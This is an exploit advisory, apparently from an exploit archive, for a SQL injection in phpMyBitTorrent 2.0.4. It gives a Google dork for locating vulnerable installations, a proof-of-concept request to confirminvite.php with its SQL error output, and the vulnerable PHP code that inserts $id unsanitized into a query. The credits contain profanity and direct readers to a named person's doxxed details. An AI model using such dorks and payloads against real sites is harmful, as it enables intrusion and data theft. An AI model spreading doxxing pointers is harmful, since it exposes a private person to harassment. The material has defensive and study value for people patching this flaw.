phpMyBitTorrent 2.0.4 - SQL Injection

# Exploit Title: phpMyBitTorrent 2.0.4 SQL injection
# Google Dork: inurl:"user.php?op=register"
# Date: 14/FEB/2011
# Author: #forkbombers@irc.smashthestack.org
# Software Link: http://sourceforge.net/projects/phpmybittorrent/
# Version: 2.0.4
# Tested on: *nix

----------------------------------------------------------------------
			[INFO]

Sadly although the Google dork returns 36,000 results for this to work the invitation
system needs to be enabled for this exploit to work. Fucking useless to me.

----------------------------------------------------------------------
			[XPL]

localhost/torrents/confirminvite.php?id=1'

Error Executing SQL Query SELECT password, active FROM torrent_users WHERE id =

----------------------------------------------------------------------
			[CODE]
[code]
$sql = "SELECT password, active FROM ".$db_prefix."_users WHERE id = $id";
$res = $db->sql_query($sql) or btsqlerror($sql);
$row = $db->sql_fetchrow($res);

if (!$row)
bterror(_bterrusernotexists,_btsorry);

if ($row["active"] != '0') {
OpenTable(_btsignup);
echo "<p>"._btuseralreadyactive."</p>";
CloseTable();
include('footer.php')
[/code]

----------------------------------------------------------------------
			[CREDS]

Thanks to Gumbie@irc.efnet.org for letting me use his box to test :)
Fuck ak for being such a bitch (not really <3 u), btw his d0x are g00gleiz3d if you want to give him a call

----------------------------------------------------------------------